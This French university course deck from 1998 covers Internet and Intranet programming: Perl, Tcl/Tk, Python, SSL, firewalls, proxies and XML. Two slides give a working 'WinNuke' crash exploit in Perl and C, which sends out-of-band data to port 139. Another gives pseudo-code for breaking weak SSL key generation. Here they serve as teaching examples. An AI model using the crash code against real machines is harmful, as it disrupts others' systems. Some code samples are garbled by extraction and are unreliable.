Java Par L`exemple : Le serveur

publicité
Programmation Internet
et Intranet
S. Frénot INSA Lyon 1998
[email protected]
http://lisisun1/~sfrenot/cours/
1
Déroulement du cours
• Architecture Web de base
• Architecture Web dynamique
• Client / Serveur de données
• Java
• Architectures distribués
• Les compléments
2
Les approches de PII
• Modèle Initial
– Approche documentaire : HTML/HTTP, Internet
• Avantage / Inconvénients
• Modèle Avancé
– Approche objets distribués : Java/Corba, Intranet
• Avantage / Inconvénients
3
Les langages de script
• Langages de script
–
–
–
–
–
Interprété
Suivent la Loi de Moore
Objets distribués / Composants
Légers et modulaires
Portés sur de nombreux environnements
• Client : Script Documentaire
– JavaScript, Python, Tcl/Tk
– Visuel
• Serveur : Shell puissants
– Perl, Tcl, Tk
– Prototypage
4
Perl
• TMTOWTDI : "Tim-Toady"
• 1 : Simplifier les tâches faciles
• 2 : Ne pas empêcher les tâches difficiles
==> Larry Wall
Linguiste
Notion de langue et d'interprétation contextuelle et tardive
Nom, Verbe, Singulier et Pluriel
5
Perl
• "Practical Extraction and Report Language"
• Interprété
• Modulaire
– 446 Modules : "use module"
• Simple / Complexe
• Efficace
• Orienté
– traitement de chaînes
– Accès fichiers
– Accès réseau
6
Perl : Exemple
#!/usr/local/bin/perl
print "Content-Type:text/html\n\n<HTML><BODY>";
open (NOTES, "notes") or die "Ouverture impossible : $!\n";
while ($ligne=<NOTES>) {
($etudiant, $note) = split(/ /, $ligne);
chomp($note);
$notes{$etudiant} .= $note.' ';}
foreach $etudiant (sort keys %notes) {
$scores,$note, $total=0;
@notes = split(/ /, $notes{$etudiant});
foreach $note(@notes) {
$total+=$note;
$scores++;}
$moyenne = $total/$scores;
print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";}
print "</body></html>";
7
Perl : 5.004
• Accès aux Bases de données
– DBD, DBI ==> ODBC
• Accès aux Formulaires HTML
– CGI.pm, HTML.pm
• Accès aux variables systèmes de la machine
• Porté sur Win32, Unix, MacIntosh
• Communauté Internet
ftp://ftp.pasteur.fr/pub/Perl/
8
TCL/Tk
• Tool Command Langage ==> Shell de programmation
• ToolKit ==> Widgets de présentation
Toute architecture de programmation importante utilise deux
classes de langage
= un langage compilé, efficace pour l'algorithmie (cobol, c,
c++ ...)
= un autre, interprété, utilisé comme glue pour "piloter" et
personnaliser les différentes fonctionnalités de
l'application
==> John Ousterhout (Sun)
9
TCL
#!/usr/local/bin/tclsh8.0
set envvars {SERVER_SOFTWARE SERVER_NAME
GATEWAY_INTERFACE SERVER_PROTOCOL
SERVER_PORT REQUEST_METHOD
PATH_INFO PATH_TRANSLATED SCRIPT_NAME
QUERY_STRING REMOTE_HOST REMOTE_ADDR
REMOTE_USER AUTH_TYPE CONTENT_TYPE
CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER
HTTP_USER_AGENT}
puts "Content-type: text/html\n"
puts "<HTML><BODY>"
puts"<H1>Message</H1><PRE>"
puts "</PRE><H1>Environment
Variables</H1>"
foreach var $envvars {
if {[info exists env($var)]} {
puts "<DT>$var<DD>$env($var)"}}}
if {[string compare
$env(REQUEST_METHOD) "POST"]==0}{
set message [split [read stdin
$env(CONTENT_LENGTH)] &]
} else {
set message [split
$env(QUERY_STRING) &]
}
foreach pair $message {
set name [lindex [split $pair =] 0]
set val [lindex [split $pair =] 1]
puts "$name\t= $val"
}
puts "</BODY></HTML>"
10
Tk

Créer l'interface utilisateur en écrivant les scripts Tcl.

Hello, world:
button .hello -text "Hello, world" -command exit
pack .hello

Explorateur Windows : 30 lignes
Browser Web : 2000 lignes

10x moins de code pour des choses simples.

11
TCL / Tk
• 1 Librairie de procédures C pour développeurs
• L'interpréteur est pilotable en C
Tcl_Interp * interp;
interp = Tcl_CreateInterp();
int code;
code=Tcl_Eval(interp, "set a 1");
code=Tcl_EvalFile(interp, "init.tcl");
• Créer une nouvelle commande Tcl
int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) {
if (argc != 3) {
interp->result = "wrong # args";
return TCL_ERROR; }
if (!strcmp(argv[1], argv[2])) interp->result = "1";
else interp->result = "0";
return TCL_OK;}
• L'enregistrer sur l'interpréteur
Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);
12
TCL / Tk
• Largement utilisé
• Le plus puissant
• Choisi comme langage de script de Java
• Efficace
• Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh
• http://www.sunscript.com/
13
Python
•
•
•
•
•
•
•
•
Portable, interprété, orienté objet (ABC, C, Modula-3, Icon)
Facile à apprendre
Script CGI, Administration de systèmes, Prototypage
Indépendant de la plateforme : Tk comme bibliothèque
graphique, génère du byte-code
Multiniveaux : Scripts shell, ou librairies oo
Extensible: branchement sur les autres binaires (Microsoft
FC, MacOS ToolBox)
Imbriquable : Script => HTML, BD, Environnement
==> Just et Guido van Rossum (CNRI : Corporation for
National Research Institute)
14
Python : exemple
#!/usr/local/lib/python
import posix
import string
uid=`posix.getuid()`
passwd=open('/etc/passwd')
for line in passwd.readline():
rec=string.splitfields(line, ':')
if rec[2] == uid:
print 'bonjour', rec[0]
break
else:
print 'Non trouve'
#!/usr/local/lib/python
import time
JOUR = 24*3600
class Date:
def __init__(self, date):
self.date=date
def __repr__(self):
s=time.ctime(self.date)
return s[:11]+s[-4:]
def demain(self): return self+1
def hier(self): return self -1
def __add__(self, nbjours):
return Date (self.date+nbjours*JOUR)
__radd___=__add__
def __sub__(self, autre)
if hasattr(autre, 'date'):
return int (self.date/JOUR) - int(other.date/JOUR)
else:
return self.__add__(-other)
aujourdhui=Date(time.time( ))
print aujourdhui.demain( )-ajourdhui.hier( )
15
Python
• http://www.python.org
• modules
– chaines, Expression Régulières, posix, sockets, threads,
multimédia, cryptographie, STDWIN, Internet/WWW
• Utilisé pour l'interface utilisateur de Linux RedHat 5
• Exemple utilisé pour les tags OBJECT d'HTML 4
16
Disponibilité des langages
• Vitesse de développement => Economie
• Utiliser les bons outils
• Marché en expansion
• Se faire plaisir
17
Exemple
#!/opt/bin/perl
use strict;
use Socket;
$h = "$ARGV[0]";
$p = 139 if (!$ARGV[1]);
if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "Adresse visée$in_addr addr $addr proto $proto\n";
socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
connect(S,$addr) or die $!;
$| = 1;
print STDOUT "Nuking: $h:$p\n";
send S,"Au revoir",MSG_OOB;
perl -MIO::Socket -e 'IO::Socket::INET->
print STDOUT "Nuked!\n";
new(PeerAddr=>"some.windoze.box")->
close S; STDOUT
send("bye",MSG_OOB)'
18
Equivalent C
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139
int x, s;
char *str = "Bye";
struct sockaddr_in addr,
spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he>h_length);
} else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
19
}
Equivalent C Suite
void main(int argc, char *argv[]) { if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1); }
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
20
Compléments
21
Cryptage SSL (HTTPS)
• Encodage sur une clé unique connue du client et du
serveur
• Le client génère aléatoirement un nombre
• Puis le transfère de manière cryptée au serveur
• Celui-ci encode les messages à l'aide de ce nombre
==> mais ...
22
Crack !
global variable racine;
RNG_CreeContexte( )
(secondes, microsecondes) =
maintenant:!
pid=process ID; ppid= parent process ID;
a=mklcpr(microsecondes);
b=mklcpr(pid+seconds+(ppid<<12));
racine=MD5(a,b);
mklcpr(x)
return ((0xDEECE66D * x
+0x2BBB62DC) >> 1);
RNG_GenereNombreAleatoire( )
x=MD5(seed);
seed=seed+1;
return x;
global variable debut, clé_secrete;
Creer_cle ( )
RNG_CreeContexte( );
tmp= RNG_GenereNombreAleatoire();
tmp= RNG_GenereNombreAleatoire();
debut= RNG_GenereNombreAleatoire();
clé_secrete=RNG_GenereNombreAleatoire();
MD5()
23
FireWall
• FireWall : Pare-Feu
• Filtrage des paquets
• Table de filtrage des ports de connexion
–
–
–
–
Inbound HTTP www.interne.com
Outbound HTTP www.externe.com
Inbound telnet telnet.interne.com
Sinon interdit
• Tunneling Protocol
• Encodage d'une session
• Reseaux privés virtuels
24
Proxy
• Cache des documents transférés
–
–
–
–
Cache mémoire sur le client
Cache disque sur le client
Serveur Cache local
Serveurs Cache nationaux
• Fonctions
–
–
–
–
Disponibilité,
Maintenabilité
Pre-caching
Baisse de la charge
• Difficulté :?
25
Serveur Proxy
proxy.univ-lyon1.fr 3128
function FindProxyForURL(url, host) {
if (isPlainHostName(host))
return "DIRECT";
if ( dnsDomainIs( host,"univ-lyon1.fr")||
dnsDomainIs(host,"cpe.fr") ||
dnsDomainIs(host,"enssib.fr") ||
dnsDomainIs(host,"cermep.fr") ||
dnsDomainIs(host,"dr7.cnrs.fr") ||
dnsDomainIs(host,"www.dsi.cnrs.fr") ||
dnsDomainIs(host,"insa-lyon.fr"))
return "DIRECT";
if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:")
return "PROXY proxy.univ-lyon1.fr:3128; DIRECT";
if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001";
else return "DIRECT";
}
26
Push
• Anticiper la demande de l'utilisateur
=> Lui fournir l'information avant qu'il ne la cherche
=> Retourner le modèle du Web
=> L'utilisateur négocie une politique de push
=> Notion de canaux de diffusion
27
Push
• Approche diffusion Commerciale
–
Diffusion de canaux d'information
• BackWeb : Personnalisation et Segmentation, infopacks
• Pointcast (1996) : Pionnier, émetteur unique !
• Approche diffusion Logiciel
–
–
Marimba : Société (JavaFund)
Castanet : Emetteur, Tuner, Proxy, GateWay
=> Technologies PUSH : Bonnet, Macary, Eyrolles
Informatiques
28
Faiblesses de HTML
•
•
•
•
•
•
•
•
•
•
Pas de gestion des hyperliens
Pas de contrôle de la syntaxe
Pas d'extensibilité possible
Pas de structures
Pas de distinction sur (forme/fond)
Pas de support d'internationalisation
Pas de support pour l'échange de données
Pas de réutilisation
Contenu dynamique
Orientation Objet
29
Langage de documents DHTML
• Scripts + Feuilles de styles (JavaScript+CSS)
• Approche OO d'un document
– Fondé sur le DOM (Document Object Model) du W3C
– Programmation plus souple
• Incompatibilité Microsoft/Netscape
=> HTML++
30
Meta-Langage de document XML
• eXtensible Markup Langage
• Représenter n'importe quel document avec des tags logiques
• Langage de programmation DSSSL
– Lisp (Scheme)
• Documents Bien Formés
• DTD du document
==> SGML -==> Jim Clark : SP Parser, Jade ...
31
Architectures
32
Evolution du Web
33
Anneaux de diffussion
• Interconnexion de sites Web
• Mettre en commun des utilisateurs sur un sujet
• Définir des sous-réseau logiques d'information
• Site central qui diffuse les entêtes des documents
• Diffusion aux abonnés d'un cgi à insérer dans les
documents
• ==> PilotGear
34
Téléchargement